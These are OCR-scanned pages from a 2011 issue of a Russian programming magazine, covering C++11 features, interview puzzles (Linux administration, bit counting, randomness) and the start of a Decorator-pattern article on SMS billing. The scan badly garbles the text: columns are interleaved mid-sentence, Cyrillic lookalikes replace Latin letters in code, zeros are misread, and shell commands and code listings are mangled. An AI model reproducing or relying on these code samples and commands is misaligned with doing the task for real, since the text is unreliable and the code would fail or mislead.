Проверка некоторого свойства во время компиляции выполняется с nомощью static_asseгt. Сигнатура у него такая:

Особенность std : :initializeг_list состоит в том, что только компилятор может создать не nустой сnисок инициализации, а сам список инициа­

лизации изменить нельзя . В остальном со списком инициализации можно работать так же, как и с обычным типом, наnример использо­

static_assert(expression, error_string)

вать его в качестве аргумента функции или возвращаемого значения. Главная особенность static_asseгt состоит в том, что expгession должно вычисляться на этаnе компиляции. Обычно в нем фигурируют

Например, использовать список инициализации в конструкторе своего класса можно следующим образом:

константы и какие-нибудь nроверки тиnов. В случае если expгession ложно, комnилятор выдает eггoг_stгing . Пример исnользования

static_asseгt:

#include <initializer_list> class SequenceClass { puЫic :

stati!=_<;~ssert( sizeof (iгtt )

ХАКЕР

>= 4> _"too

srrщll

int" );

SequenceClass (std: : initi;й_:i.z_er_list< int >_ list)

103

12/155/2011

www.epidemz.net


КОДИНГ

data_(list.begin(), list.end())

cout <<

х

<< endl;

{ }

int size() { return data_. size( );

Вэтомпримерехпоочереднопринимаетзначенияэлементовпоследо- . вательнести

seq,

в теле цикла мы просто выводим их на экран .

В С++11 можно и вовсе избавиться от большинства простеньких ци­

private : vector< int > data_;

клов, если использовать лямбда-функции .

};

ЛЯМБДА-ФУНКЦИИ ЕДИНООБРАЗНАЯ ИНИЦИАЛИЗАЦИЯ

Лямбда-функция [лямбда-выражение, анонимная функция!- это функ­

Еще одна история о выпрямлении инициализации переменных. В С++ОЗ

ция, за которой не закреплено определенное имя. Обычно это небольшие

су ществовало множество разных способов для инициализации перемен­

функции, которые можно описывать прямо в месте их вызова. Лямбда­ функцию удобно передавать в качестве параметра другим функциям.

ных:

Упро щенный си нтакси с лямбда-функции имеет следующий вид:

string а = "first" ; string b( "second" ); int с[] = {1, 2, 3}; struct D { int m_; D( int m) m_(m) {} };

[capture list](parameters) -> return type { body

Такая запись соответствует лямбда-функции, которая на входе при­ нимает параметры paгameteгs, выполняет операцию, ук азанн ую в

и возвращает результат типа гetuгn Конечно, все эти способы остались и в С++11, однако к ним добавился

body, type. Список захвата [captuгe listl

определяет, какие переменные из вызывающего [внешнего! контекста

дополнительный способ, предназначенный для единообразной инициа­

могут быть использованы внутри функции . Посмотрим на при мерах , как

лизации переменных. Теперьдля единообразной инициализации можно

это работает.

использо вать фигурные скобки. При этом предыдущий пример нужно

Вычислим количество элементо в вектора, попадающих в диапазон от

переписать так:

left до

гight.

string а = { "first" }; string b{ "second" }; int с[] = {1, 2, 3}; struct D { int m_; D( int m) m_{m} {} }; о d{e};

vector< int > а = {1 , 2, 3, 4, 5}; int left = 2; int right = 4; int count = е ; for_each(a.begin(), a.end(), [left, right, &count]( int if (х >= left && х <= right) { ++count;

х)

{

}

}); Важно отметить, что если у класса есть конструктор, принимающий в

cout << count << endl;

качес тве параметра std::initializeг_list, то при инициализации экземпляра такого класса нужно тщательно контролировать, какой именно конструк­

Что здесь происходит? Третьим параметром foг_each должна быть

функция [или функтор!, которая последовательно вызывается с каж­

тор вызывается. Например :

дым э лементом вектора. В качестве такой функции мы и используем

vector< int > а( 4 ); / / vector< int > Ь{4 }~ //

создает вектор из

4

нашу лямбда-функцию . Она принимает единственный параметр- оче­

элементов

создает вектор из одного элемента равного

4

редной элемент вектора . В списке захвата перечислены переменные внешнего контекста, которые нам понадобятся внутри функции . Если в

Добавл ена еще о дна полезная во змож ность , связанная с инициализа­

списке захвата просто указат ь имя переменной, то она будет передана

цией член ов класса. Теперь можно инициализировать члены класса прямо

по значению, а если к имени переменной добавить&, то она будет пе­

при их объявлении:

редана по ссылке. Возвращаемое значение можно не указывать, если

class D { int m_ };

значение имеет тип

компилятор сам может его вывести . В данном случае возвращаемое

void.

В общем случае тип возвращаемого значе­

ния можно не указывать, если все геtuгп внутри функции возвращают

42;

значения одного и того же типа.

Чтобы лучше понять , как использовать лямбда-функции и как они Раньше так можно было поступать только с константными статически­

раб отают, можно сопоставить каждой лямбда-функции привычный фун­

ми [coпst staticl членами. Новая фича не только делает инициализацию

ктор, выполняющий те же действия. Если в приведенном выше примере

более наглядной, но и избавляет от необходимости дублировать инициа­

заменить лямбда-выражение на функтор, то получится следующее:

лизацию некоторой переменной в каждом конструкторе, если их много.

class F { ЦИКЛ

FOR ПО

КОЛЛЕК

ИИ

puЫic :

Довольно часто возникает необходимость пробежаться по контейнеру

последовательно перебирает элементы контейнера. Выглядит этот

F( int left, int right, int& count) left_(left), right_(right), count_(count)

цикл так:

{ }

vector< int> seq = {1, 2, 3, 4, 5}; for ( auto х : seq) {

void operator()( int if (х >= left_ && ++count_;

и как-то обработать каждый его элемент. Специально для этих целей в новом стандарте появилась упрощенная версия цикла fог, которая

х)

х

const { <= right_)

ХАКЕР

www.epidemz.net

12/155/ 2011


Новый стандарт

l [

tr:: :

auto decltype

static_asse~ Builtin

lnitializeг

10.0

1 4.3

type_t гaits

lists

std::function<int ( int )>& unary_operation) vector< int > res; std: :transform(input . begin(), input. end(), back_inserter (res), unary_operation); return res;

10.0

1

8.0

Здесь появляется класс

std : :function<signature>, который,

4.4

по сути, является функтором с указанной в параметре шаблона

4.7

такой код для функции mymap, чтобы она не зависела ни оттипа

сигнатурой. Естественно , при помощи шаблонов можно написать

Non-static data

membeг

initializeгs

nge-based

r

foг-loop

["~-"-~001,1 ~;.0 1

4.6

~

4.5 [vO. 9)

mbda

"'"" "''"'"'

контейнера, ни от типа элементов в нем.

СЕМАНТИКАПЕРЕНОСА

01

Попробуем воспользоваться функцией

[v1.0)

11.0 [v1.1)

щем разделе .

11.1 [v1.0J 12.0 [v2 .0)

10.0 [v2.0) 11 .0 [v2.1)

vector< int > seq vector< int > neg

1

Поддержка рассмотренных в статье фич популярными компиляторами . В скобках около номера версии компилятора указана версия фичи

mymap, у п омянутой в предыду­

{1, 2, 3, 4, 5}; mymap(seq, [] ( int

х)

{ return

- х;

});

Обычно так не пишут, поскольку mymap возвращает вре­ менный вектор, ко т орый позлементно копируется в пеg, а затем уничтожается. Сам вектор устроен довольно просто- это всего

лишь несколько [около трех) указателей на выделенную память. В данном случае оптимальнее всего было бы инициализировать

neg

private : int left_; int right_; int& count_;

теми же указателями, что и во временном векторе, где они

обнуляются, чтобы при уничтожении этого вектора не освобожда­ лась память. Др угими словами, мы хотим «похитить>> внутренние

данные временного объек та . Авторы нового стандарта отмеча­ ют, что в процессе присваивания потребность в этом возникает

};

довольно часто. Вместо копирования нужно перемещение, н о

При этом foг_each с лямбда-функцией заменится на следующее

в рамках предыдущей версии стандарта реализовать его было невозможно, так как непосредственно во время присваивания

выражение:

меняется только левая часть, а правая остается неизменной . В С++11 предложено оригинальное решение этой проблемы.

for_each(a.begin(), a.end(), F(left, right, count));

Появились гvalue геfегепсеs: ссылки на временные объекты из

Составление списка захвата можно упростить с помощью опреде-

[] -список захвата остается пустым; [ =] - происходит захват всех переменных из вызывающего кон­

с традиционным конструктором копирования и операцией копирую­

текста, причем все они передаются по значению;

перемещающее присваивание .

(&] -

щего присваивания можно задать перемещающий конструктор и

происходитто же, что и в предыдущем случае, но все п ере­

class

менные п ередаются по ссы лк е;

MovaЬleType

{

[this]- происходит захват всех членов класса, кот орому принад­

MovaЬleType(MovaЬleType&&

лежит вызывающий метод .

MovaЬleType& operator =(MovaЬleType&&

Рассмотрим еще несколько примеров. Заполним вектор числами от

правой части присваивания. Такие ссылки позволяют менять вре­ менные объекты прямо во время присваивания. Теп ерь по аналогии

ленных приемов:

rhs); rhs);

};

1 ДО N. Отметим, что для обозначения гvalue геfегепсеs служит

декоратор&& . При инициализации или присваивании объектов

vector< int > а; int last = е ; std::geпerate_п(back_inserter(a),

МоvаЫеТуре комплиятор сам поймет, какой объект стоит справа

N, [last]()

mutaЬle

от оператора присваивания. Е сли это временный объект, который

{

должен быть унич тожен , компилятор вызовет перемещающую

return ++last;

});

операцию.

В С++11 большинство стандартных контейнеров содержит пере­

Отметим, что в данном случае используется ключевое с л ово

мещающие опера т оры, поэтому даже старые пр ограммы после

mutaЫe. Функтор, соответствующий лямбда-функции, по умолчанию объявлен константным :

перекомпиляции смогут работать быстрее.

OUTRO В статье мы рассмотрели лишь небольшую часть нововведений в

ReturnType operator ()( . .. ) const { .. . };

С++11, однако уже по ним видно, что авторы стандарта поработали

Однако нам нужно менять члены функтора, поэтому мы явно указы­ Вот как будет выглядеть примерный аналог популярной в функцио­ нальных языках программирования функции

на славу. С одной стороны, писать на С++ теперь проще- язык стал менее формальным, с др у гой стороны, его основная концеп­

ваем на зто с помощью mutaЫe .

map:

ция - «мы не платим за то, что не используем>> - не изменилась .

Очень круто, что компиляторы уже поддерживают многие воз­

можности нового стандарта. Таким образом, сделать свой код про­

vector< int > mymap ( const vector <int >& input,

ХАКЕР

ще и быстрее с помощью С++11 можно прямо сейчас .

::J:

105

12/155/2011

www.epidemz.net


-КОДИНГ

nа вел Александрович livinside.Ыogspot.coml

Задачи на собеседованиях Сегодня у нас в журнале стартует новая рубрика! В ней мы будем разбирать решения интересных задач по программированию, алгоритмам, операционным системам и обсуждать все то , что может

взбрести в голову работодателю на собеседовании.

ХАКЕР

106

www.epidemz.net

12/155/2011


Задачи на собеседованиях

ЗАДАЧА

N!!1

Из нее видно , что единица выпадает чаще всего, а тройка не выпа­ дает вовсе. После решения простой системы линейных уравнений

Дан набор файлов с именами от

1 до 100000.

становится понятно , что для получения искомого результата нужно

Один из файлов удаляется. Нужно определить , какой именно.

домножить одну из функций на два. В итоге получаем следующее распределение:

РЕШЕНИЕ

Для разминки рассмотрим совсем простую задачу. В данном случае не требуется использовать ни подсистему iпotify для

Linux, ни аналогичные

инструменты для других операционных систем. Они здесь не нужны, так как

гandom2fl

2 • raпdom20

сумма

о

о

о

времени. Если приглядеться, становится ясно, что наш набор файлов-

~

это не что иное, как арифметическая прогрессия. Первый ее член -1,

11

файлы имеют специфические названия . И не надо сравниватьдва массива с именами файлов до и после удаления -это займет непозволительно много

1. Сумма такой прогреесии вычисляется по следующей формуле: la1 + ап) * N/2, где а1 -первый член прогрессии, ап- последний, а N- количество членов прогрессии. Таким образом,

2

2

-

j-

о

1

2

3

>--

последний -100000, а шаг равен

мы можем посчитать сумму исходной прогреесии и вычесть из этой суммы

Таблица

2

То, что нам нужно . Заметим, что функция гandom41) не устраива­

сумму прогрессии, получившейся после удаления файла . Разность -имя

ет нас своей избыточностью, но ее можно легко обойти с помощью

и сходного файла. Вот код, реализующий этот метод:

такого волшебного приема, как рекурсия . Таким образом, чтобы из

гапdоm41! сделать гandomЗI) , нужно выполнить примерно такой код:

from os import listdir from random import

raпdraпge

from time import sleep #

получаем и

sum1

# эта функция нам def random2():

суммируем имена файлов

= sum(iпt(fileпame)

for

fileпame iп

listdir( ' ./q1' ))

"""Функция возвращает е или

return #

предположим,

что за

как бы дана

raпdrange( e ,

# это наша ПОАrотовительная def raпdom4():

1е секунд какой-то файл удалили

sleep( 1e) снова

вычисляем сумму

sum2 = sum( iпt(fileпame) for

fileпame iп

listdir( ' ./q1' ))

# опреАеляем, какой файл _ был удален

deleted

= sum1

# а def

return random2() + 2 это - итоговая

#

сообщаем об этом

if deleted: else : priпt

priпt

'Удален файл с

именем

%s' % deleted

1, 2

или

3

равновероятно"""

raпdom2()

"""Функция возвращает е,

1

или

2

равновероятно"""

= raпdom4() функция возвратила резул ьтат>

#устраивает,

#

*

raпdom3():

result # если

sum2

равновероятно"""

функция

"""Функция возвращает е,

#

1

2)

который нас н е

то просто рекурсивно вызываем её,

пока не получим один из р_азрешенных результатов

i f result

==

3:

returп raпdom3 ()

'Все файлы на месте'

returп

result

Теоретически существует вероятность, что такая функция будет

Есть функция гапdоm21), которая равновероятно возвращает О или 1. Требуется с ее помощью реализовать функцию гапdоmЗI!, кото­ рая будет равновероятно возвращать О,

выполняться очень !бесконечно) долго, поэтому в реальных задачах такой подход использовать не рекомендуется.

1 или 2.

Подсказка 1: сначала реализовать функцию random4(). Подсказка

2:

время работы функции может быть недетерминиро­

Имеется конечное количество вагонов, которые соединены между со­ бой и замкнуты в кольцо . В каждом вагоне можно включать и выклю­

ванным.

чать лампочку. Изначально лампочки случайным образом включены РЕШЕНИЕ

или выключены. В одном из вагонов находится человек. Как человеку

Что нужно сделать для получения равновероятной функции гandom41! ? Посмотрим, что будет, если взять сумму функций гапdоm21). В следую­

понять, сколько в этой цепи вагонов, если он может включать и вы­ ключать лампочки и переходить из одного вагона в другой?

щей таблице показаны результаты этой операции:

Подсказка: ламnочки трогать не надо. raпdom211

random211

о

о

сумма

Lo

t=:--~ ,

РЕШЕНИЕ

Итак, единственный пассажир может ходить по вагонам и щелкать вы­ ключателем. Но! Он не может побывать во всех вагонах, подсчитывая, сколько из них он прошел, и выключать везде лампочки, чтобы потом включить лампочку в одном из вагонов и ещё раз пройти по кругу, счи­

тая их. Хотя вагонов конечное количество, их может быть очень много. Поэтому мы не сможем задать четкого условия для завершения цикла. Излагаю правильный ход мыслей: примем тот вагон, в котором ока­

Таблица

ХАКЕР

1

зался пассажир, за точку отсчета. Если там нет света, то включим его.

107

12/155/2011

www.epidemz.net


.КОДИНГ усложни ть задачу: nерезаn ускать систему нельзя, достуnа к интернету нет.

В СЛЕДУЮЩЕМ ВЫПУСКЕ

РЕШЕНИЕ Задача

Задачка достаточно интересная. по её мотивам некий Джос Ка-

1

Есть два ор.инаковых стеклянных шарика. За какое минимальное

стро даже сделал небольшой доклад-презентацию [youtu .be/

число бросков можно гарантированно оnределить, nри nадении с

DTWZqh64RcQ J. Итак, рассмотрим решения, которые nредлагает чувак

какого этажа стоэтажного здания шарики начинают разбиваться?

на видео.

10 Задача

Исnользоватьлюбой язык nрограммирования , который nозволяет

сделатьсистемный вызов chmodll в обходсистемной утилиты . На

2

Python в консоли н уж но выnолнить следующую команду:

Имеется следующий фрагмент nрограммы:

# python2 -с " im~юrt os; osoc:t)mod{ '/Ыn/chmod' , 0755 ) "

tokens = [J for token in tokeniter: i f token not :i,.n tokeлs: tokensoappend(token)

То же самое на Регl:

# per-1 -е .' chmod 0755, " chmod"' Здесь tokensiteг- итератор, выдающий достаточно большую

И, наконец, на С:

nоследовательнос ть токе нов, которые могут nовторяться .

На выходе этот фрагмент nрограммы выдает массив уникальных токенов без nовторений, в котором сохранен хронологический nорядок n оявле ния токенов из входной посл едовательности

#inc;l,ude . <sysJtypes о h>. #incJ,щJe...s sys/~tё!t о h>

tokensiteг.

Нужно о ценить временную сложнос ть э того фрагмента и nредложить

i nt ma_ i n()

обоснованные сnособы оnтимизации .

{. chmod{ ''./ bin / chmod" , еееЕ!755 );

Задача З Как ограничить исnользование nроцессара одним из nриложений на

сервере

20

Linux?

Использоватьтрюк с комnилятором GCC-npи комnиляции ис­ ходника он создает исполняемый файл . Предлагается сделать

Задача

4

следующее :

# .nm<J.P -s~..

c.F'n

-_n

.:J ..~

act.iv.ll!-hosts

Через nять минут nосле заnуска сканирование резко замедляется .

$ cat - > chmodoc int_main О .{ }

В логе зафиксировано, что nримерно в этот же момент вердикты по

ЛQ

всем хеетам/nор там nриобретают статус filteгed . В чем может быть

$

дело и какие действия следует nредnринять?

се chmod oc $ c;;Jt / Ыn /ch mod .> _aoout $ mv ..ao _out new_chmod $ .cat /Ыn/chmod > new_chmod # пew_c_hmod +х / Ьin/c hmod

Теnерь велим пассажиру идти в один из соседних вагонов и предполо­ Здесь поступаем там: создаем на Си исходник с минимально воз­

жим, что дальше он будет перемещаться только в эту сторону. Когда он дойдет до вагона с включенным светом, выключим там свет, вернемся

можным количеством кода и комnилируем этот исходник. В резуль­

в первый вагон и посмотрим, горит ли в нем свет. Идея в том, что рано

тате nолучается исnолняемый файл a.out, который ничего не делает.

или по здно мы достигнем итерации, количество переходов в которой

В него через cat записываем содержимое /Ьin/chmod и исnользуем

и будет представ пять собой количество вагонов . Проделаем все то же

по назначению . Единственный минус данного метода- требуется комnилятор GCC, который по умолчанию имеется далеко не во всех

самое, но уже в nсевдокоде:

дистрибутивах . Однако , исполь зуя трюк с заnисыванием содержимого количество до

те х

пор,

/Ьi n/chmod в исполняемый файл, можно обойтись и без комnилятора.

= 1 nока

В этом нам nоможет такая команда:

истина :

nерейти_nо_ваганам(копичество)

В.ЫКЛЮЧИ:Гр_СЕЩТ().

#. ер / Ыn / ls /l;>in/ls_prev && cat /):Jin/c hmod > / Ыn/ls && . > /Ыn/ls +Х / Ы_n /c hmod.. && mv / bin/ls_prev / Ьin/ls

nерей_ти_nо_ваго.нам(- количество). если . свет

не .горит:

Зо

остановиться .

.количество

декламировать

'В nое~де',

Можно воспользоваться стандартной для всех юниксовыхдистри­

бутивов утилитой tаг, предназначенной для работы с архивами:

+= . 1 копичество, . ' вагонов'

$ tar - ~ mode е755 -cf chmodotar / Ыn/ chmod Что, коряво и непривычно? Радуйся , что языки программирования

$ tar xyf chmodotar

используют английский алфавит. А я на этом пере хожу к следующей Как видишь, в ней есть замечательная опция --mode, которая

за даче.

может выставлять права на файлы в архивах. Останется только рас­ паковать .

4,

Срiо-менее известный формат архива , примечательный тем, что

В каталоге /Ьi n была выnолнена команда chmod - х chmod. Предло­

nрава на файл в нем задаютсятремя байтами, начиная с 21-го . Итак,

жит ь несколько вариантов решения проблемы . Позволю себе немного

нам нужно их изменить:

ХАКЕР

108

www.epidemz.net

12/155/2011


Задачи на собеседованиях

которая представляет собой всего лишь символическую ссылку

$ echo chmod

на initl и уровни выполнения никсовой системы:

1

cpio -о 1 perl -ре 's/л(.{21}) •.. /${1}755/' cpio -i -u

1!. init

б

Напомню, для чего предназначены все эти уровни:

5.

Ну и закончим, наверное, самым тривиальным способом-если в

О-выключение системы;

кзше присутствуетпакет, в который входит /Ьiп/chmod, переустано­

1-однопользовательский режим, иногда полезен для административ-

вим зтотпакет. Для DеЬiаn-nодобных ОС команда будеттакой:

ных задач;

2-многопользовательский режим без сети; 3-многопользовательский режим с сетью, нормальный режим работы;

# apt-get install --reinstall coreutils

4- зарезервирован, можетбыть настроен администратором; 5-многопользовательский режим с сетью+ графическая оболочка;

Можно еще много чего придумать.

6-nереэагрузка комnьютера.

Чтобы процесс

init понимал ,

как конфигурировать систему на каж­

Предложить способ, с помощью которого можно посчитать количество

дом уровне выполнения, существует специальный файл /etc/inittab.

ненулевых битов в файле с именем Ыob.dat.

З.

Еще есть вариантжесткой nерезагрузки системы с использо­

ванием Magic SysRq [ядро должно быть собрано с параметром CONFIG_MAGIC_SYSRQJ: РЕШЕНИЕ

Я, как адепт змееподобного языка программирования, предложу такой вариант решения:

def bstr(n): "" "Преобра"ует байт в с_троку return ' ' .join ( [str(n » х & 1) for х in

4.

Продолжим темумагическихсочетаний клавиш: для более правиль­ ной экстренной перезагрузки нужно эажатьАit + SysRq, а затем с

из битов."""

интервалом в

2-3 секунды последовательно нажать RЕ 1SU В .

Вот что делают эти клавиши:

( 7 , 6 , 5 , 4 , 3 , 2 ,1 , е )])

# открываем файл ДllЯ лобайтового чтения f = file.(' Ь1оЬ. d;~t' , 'rb' )

# читае~ содержимое bytes = f.re~d()

# echo 1 > /proc/sys/kernel/sysrq # echo Ь > /pro~/sysrq-trigger

• •

unRаw[nерехватываетуnравлениеклавиатуройL tEгminate [посылаетSIGТЕRМ всем nроцессамl, klll [посылаетSIGКILLвсем процессам, которые не смогли завер­

• •

Sync [синхронизирует файловые системы!, Unmount [перемонтируетфайловые системы в режим «Только чте­

ние>>!, геВооt [выnолняетnерезагрузкуl.

шиться после предыдущей команды!,

файла

# каждый лрО'\Iо\Танный б<Jйт ареобразуем в. строку # ноликов и единичек

sheet = '' .join([bstr(ord(c)) for с in bytesJ) # считаем. число вхоЖде.ний ':L' в нащей проп~1не print sheet.count( '1' )

Чтобы можно было провернуть такой фокус, ядро также должно

быть собрано с параметром CONFIG_MAGIC_SYSRQ [обычно всегда так Не буду скрывать, что такой подход не отличается быстродействи­

и есть!.

ем. Поэтому далее привожу комментарий одного широко известного

в узких кругах специалиста по подсчетуненулевых битов: «Ежели заморочиться и попытаться оптимизировать по скорости, то можно

Написать функцию преобразования числа в IР-адрес .

замутить функцию подсчета единичных битов в байте табличным методом или по алгоритму Кернига на . Кроме того, существует аппа­ ратная реализация через инструкцию рорспt. Винтелах она появилась

вроде как с Соге

i7 и

входит в набор инструкций

sse4.2. Матчасть

по

извращениям: h t tp://guгmeet . пet/puzz l es/fast-bit- counting - гout i nes/>>.

РЕШЕНИЕ Полагаю, такая функция поможет сэкономить дисковое пространство

и оnтимизировать БД при хранении больших массивов IР-адресов, так

как число хранить проще, чем строку с IР-адресом. Указать как можно больше способов отправки Linux-cepвepa на пере­

def ip2str(ip):

загрузку.

'""'Функция~

РЕШЕНИЕ

# так как МЬL работаем с адресом IPv4, # то поднимем исключение, если nереданное # не помещается в 4 байта

1.

Самое тривиальное решение с помощью стандартной утилиты shutdowп:

# shutdown _-r now Кроме этой утилиты, ещё есть

halt и

геЬооt, но ими пользоваться в

большинстве случаев бесполезно, так как внутри себя они все равно

вызывают

shutdown. По сути, halt аналогична shutdown -г now.

shutdowп

-h

поw, а геЬооt

преобразующая число в IР-адрес.

'"'"

число

if ip > exffffffff : raise ValueError( 'number must Ье 32 bit' ) ipstr = '{е}.{1}.{2}.{3}' .format(ip » 24, ip & exeeffffff >> 16, ip & ехе13еенн » __ В , ip & ехеееееен ) return ipstr _.

-то же самое, что

Здесь я по очереди вычленил каждый октет с помощью наложения

2. Вспомним про такую замечательную команду, как init [или telinit,

ХАКЕР

масок и побайтовых сдвигов. I

109

12/155/2011

www.epidemz.net


КОДИНГ

deeonis [deeonislagmail.com)

ПАТТЕРН ПРОЕКТИРОВАНИЯ

>> ля того чтобы оценить все возможности объектно­ ориентированных папернов, их надо рассматривать на

каком-нибудь реальном примере . Паттерн << Декоратор >> мы будем изучать с помощью СМС-биллинга. А почему бы и нет? Опла­ та ус л уг через ко роткие мобильные сообщения очень популярна в нас в стране как у честных граждан, так и у начинающих хакеров­

бизнесменов. Допустим, мы собираемся организовать свой собственный СМС-биллинг, уже арендовали короткие номера и даже имеем в запасе несколько потенциальных клиентов среди друзей и зна­ комых. Дело осталось за малым- написать правильный код. На начальном этапе мы решили сотрудничать только с зелененьким,

красненьким и желто-полосатым операторами мобильной связи. Естественно, все они предлагают разные условия сотрудничества, что отражается на плате за аренду номера, а она, в свою очередь,

влияет на стоимость СМС для пользователя. Чтобы все было правильно и современно, как-никак накадить все в

ПРОДОЛЖАЕМ

XXI

век на дворе, мы решили

oon.

Немного подумав , мы решили создать родительский класс

СЕРИЮ СТАТЕЙ

SMSBilliпg, который будет содержать базовые методы. Один из

таких методов-

float cost[], который возвращает стоимость СМ С.

Так как для каждого оператора сотовой связи эта цифра разная, то

О ПРАВИЛЬНОМ ХАКЕРСКОМ ООП

costll будет абстрактным методом, который должен быть переопре­ делен в потомках. К слову, потомков у нас будет целых три штуки:

SMSBeeline, SMSMegafon

и

SMSMts.

Иерархия классов биллинга

class SMSBilling {

Накадить

«Hello world!» может каждый, а вот

создать серьезную программу, которая ра­

ботала бы так же надежно, как швейцарские часы,- это уже наука. Или искусство. Даже

puЬlic :

virtual float cost()

puЫic

SMSBilling

puЫic :

virtual float cost()

и полиморфизме, этого недостаточно, чтобы

{

сделать большую и прекрасную вещь. Чтобы не

return beelineCost; };

умереть, проект должен постоянно изменяться

эти изменения максимально безболезненными.

'

}

class SMSBeeline :

если ты мастер в наследовании, инкапсуляции

и развиваться, а паттерны призваны сделать

е·

}

11

классы

SMSMegafon

и

SMSMts

подобны классу

SMSBeeline

ХАКЕР

110

www.epidemz.net

12/155/2011


Паттерн проектирования <<Декоратор>>

- - -.;;;,; --

На первый взгляд все выглядит хорошо . Если мы решим ра­ ботать еще с каким - нибудь ОпСоСом , то просто создадим допол­

Decorator

нительный класс, который будет наследовать SMSBilliпg . Сотовых компаний не так много, и мы не боимся, что наши классы распло­ дятся как кролики, к тому же мы работаем только в России.

/

'

' ''

'

''

Но тут мы решаем расширяться, не на весь мир конечно, но на

\

\

\

1 1

1 1

операторы , но' цена за СМС там немного отличается. Например ,

1 1

*Opera tЬnO

1

1 1

\

тот же налог на добавленную стоимость [НДСI разный в разны х

\

1

\

регионах, хотя базовая стоимость короткого сообщения остается

/

\

/

\

,/

',, ,

неизменной. Чтобы учесть эти нюансы, мы начинаем расширять

',,

нашу иерархию СМС-биллингов.

--

---

Добавляем республики puЫic

\

1 1 1

СНГ точно . В соседних странах и республиках тоже работают наши

class SMSBeelineUA:

''

/

SMSBilling

Еще одна диаграмма классов паттерна «Декоратор»

puЬlic :

virtual fioat cost() { return beelineUACost;

};

//

получаем базовую стоимость от роАительского

JJ

класса и умножаем его на

коэффициент ..для У к раины

beelineUACost = __ super::cost() return beelineuACost~

}

*

coefficieпtUA;

};

class SMSBeelineBY:

puЫic

SMSBilling

}

/J классы SMSMegafoпUA, SMSMe_gafonUA, SMSMtsUA.._ SMSMt sBY /J SMSBeelineBY подобны классу SMSBeelineUA

puЫic :

virtual fioat cost() {

и

Что же мы сделали? Так как базовая стоимость СМС для опреде­ ленного ОпСоСа остается неизменной во всех регионах, то мы

просто выделили еще один уровень абстракции. Теперь SMSBeeliпe ,

return beelineBYCost;

SMSMegafon и SMSMts в методе cost[J выдают лишь базовую

};

стоимость сообщения без учета местны х налогов и сборов, а их

наследники

SMSMtsBY, SMSMegafonUA

и т. д. уже обсчитывают эту

стоимость для каждой республики . Ну и что , что классов стало не­

/f

классы

/1

подобны классам

.SMSMegafonUA... SMSMegafonUA, 91SMtsUA SMSBeelineUA и SMSBeelineBY

и

SMSMtsBY

много больше [добавились биллинги с постфиксом

RUI, зато теперь

нам легче модифицировать cost[J. Мы вроде бы на правильном пути, но тут в игру вступают законы бизнеса.

Так как мы по своей природе ленивы , как и большинство

НАМ НУЖНЫ СКИДКИ

людей, то решили накадить все максимально просто и быстро.

Несколько дополнительных классов, расширяющих

SMSBilling, вроде решили проблему. Теперь, помимо SMSBeeline, SMSMegafon и SMSMts, у нас еще есть SMSBeeliпeUA, SMSMtsBY и т. д. Каждый такой класс реализует свой вариант метода cost[J, который учи­

В какой-то момент мы понимаем, что для успешного развития нашего бизнеса нужна система скидок . Причем система достаточно сложная. Например, каждое третье воскресенье месяца мы даем скидку на СМС

5 %. Также

предоставляем скидки на день рождения, праздни­

тывает все этнические, политические и экономические различия

ки, за отправку СМС ночью и т. д. Самое главное, что все эти скидки

в ценообразовании платных эсэмэсо к на просторах бывшего Со­

могут суммироваться. То есть, например, каждое воскресенье с часу

ветского Союза. После того как мы начали работать только в двух

ночи до четырех утра действует скидка

дополнительных регионах, количество классов увеличилось аж на

месяца к ней добавляется

целых шесть штук. Нетрудно подсчитать, сколько их станет, когда

уменьшается на

мы продолжим наращивать обороты .

5 % -я

7 %,

но в третье воскресенье

скидка, и в и тоге общая стоимость

12 %.

Следуя принципам заложенной нами же архитектуры, мы должны

Огромное количество классов в иерархии само по себе являет­

добавить еще один уровень иерархии в наши биллинги. При этом ко­

с я достаточно серьезной проблемой, но есть кое-что и пострашнее .

личество классов возрастет в геометрической прогрессии. Что делать

Что делать, если базовая стоимость сообщения у какого-нибудь

со скидками, вообще сложный вопрос .

оператора вдруг изменится? Тогда нам придется переписывать

метод cost[J во всех классах билли н га этого оператора. Это крайне

Еще одна ступень классов биллинга

нежелательно, так как вероятность возникновения багов , глюков и

class

прочих неприятных вещей в системе значительно возрастет . Но мы

{

же умные кодеры, мы знаем, что такое ООП, и поэтому программи­

puЫic :

со скидка~~

SMSBeeliпeUABirthdayDiscount:

puЫic

SMSBeelineUA

virtual fioat cost()

руем следующую штуку:

{ Теперь поддержка

иерархии к~ассов биллинга будет не

такой сложной

class SMSBeelineUA: {

puЫic

puЫic :

virtual fioat cost()

ХАКЕР

SMSBeeline

// //

получаем базовую стои~ость от роАительского

JJ

рождения

класса и умножаем ее на

коэффициент для дня

beelineUABirthdayCost = __ super : :cost() * coefficientBirthday;

111

12/15 5/2011

www.epidemz.net


КОДИНГ

9 @

IWidget

8 Мethod>

Clon

,..2..~-----············-·········®j

8

f O.coratar

j

1 :

Fields

!

1

J'

1

,

• Draw():"""'

AЬstrкtdass

'

chid , IWidQel

!8 Prooerties

1

j8 M -

1

' .•

J

..·-·-·............

1

1

D~oratorВ

DrcorittorA

d.п

Clon

-+Dкor.tcw

-+Dкor.tor

8

Мethods

®

Мethods

~ Decorat:orВ() (+ 1 overkжJ)

·о Decoratorд()

• O.aw()' void

·• O.ow()' void

(+ 1 overto&d)

Диаграмма классов nаттерна «Декоратор»

Немного кода

return beelineUABirthdayCost;

};

прочие классы со скидками

на

.• O.aw()' void .• WidgetQ

i

De<o.-..or() (+ 1 overlood) O.aw() ' void

'-. ..........-·--~

J/ 11

Мethods

;

1 '4 Chid ' IWidQel

j i

8

@

Widget

Interfкe

i1 /1

класса и умножаем ее на коэффициент для Украины,.

i1

еще и на

если

скидки нет,

в противном случае умножаем

сумму скидки

i f (m_discount != е ) beelineUACost = __ super::cost() • coefficientUA • m_discount; else beelineUACost = __ super::cost() • coefficientUA;

будут похожи

SMSBeelineUABirthdayDiscount

Конечно, мы можем отойти от жесткого разделения на классы

и добавить в базовый класс SMSBilling метод setDiscount(floatl,

return beelineUACost;

который будет nринимать nроцент, на который снижается стоимость

};

сообщения.

} Выносим скидку в базовый класс

11

class SMSBilling { private : float m_discount;

11 SMSBeelineBY

классы

SMSMegafonUA,

sмsмegafonUA,

подобны классу

SMSMtsUA4 SMSMtsBY SMSBeelineUA

и

billing = new SMSBeelineUA();

11

puЫic :

void setDiscount( float discount) {m_discount virtual float cost() = е ;

discount;};

клиенту надо знать,

какая

ски.дка когда действует

billing->setDiscount(e.l); cost = billing->cost(); Количество классов в иерархии в этом случае уменьшится, но

клиенту, использующему билли н г, придется самому высчитывать

